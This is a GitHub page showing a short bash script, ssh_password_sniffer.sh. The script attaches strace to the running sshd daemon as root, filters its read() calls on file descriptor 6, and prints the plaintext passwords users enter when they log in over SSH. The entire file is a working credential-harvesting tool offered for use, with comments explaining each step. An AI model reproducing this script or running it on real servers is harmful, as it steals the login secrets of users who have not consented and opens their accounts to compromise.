-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathssh_password_sniffer.sh
executable file
·51 lines (39 loc) · 1.07 KB
/
ssh_password_sniffer.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
get_ssh_pid() {
# return the PID of the parent ssh process
ps aux|
grep "sshd -D"|
grep -v grep|
awk {'print $2'}
}
extract_passwords() {
# attach strace to the parent ssh process, it will follow children
# parse for read() type 6 output
# push stderr into stdout
# line buffer grep for patterns matching ssh password reads
# parse extraneous debug output away
strace -e trace=read -e read=6 -f -p $ssh_pid 2>&1 >/dev/null|
grep --line-buffered "read(6,"|
grep --line-buffered '\\f\\0\\0\\0'|
sed 's/\\f\\0\\0\\0//g'|
awk {'print $4'}|
sed 's/..$//g'|
sed 's/^...//g'|
sed 's/^0//g'
}
check_root() {
# check if user running this is root
# if not give instructions and exit
if ((${EUID:-0} || "$(id -u)")); then
echo "This script must be run as root: sudo $0"
exit 1
fi
}
# strace must be run as root as ssh is also
check_root
# set pid global
ssh_pid=$(get_ssh_pid)
# slow startup explanation
echo "FYI... 4096 bytes of data must be collected before any output can be displayed"
# start reading memory and dumping passwords from ssh!
extract_passwords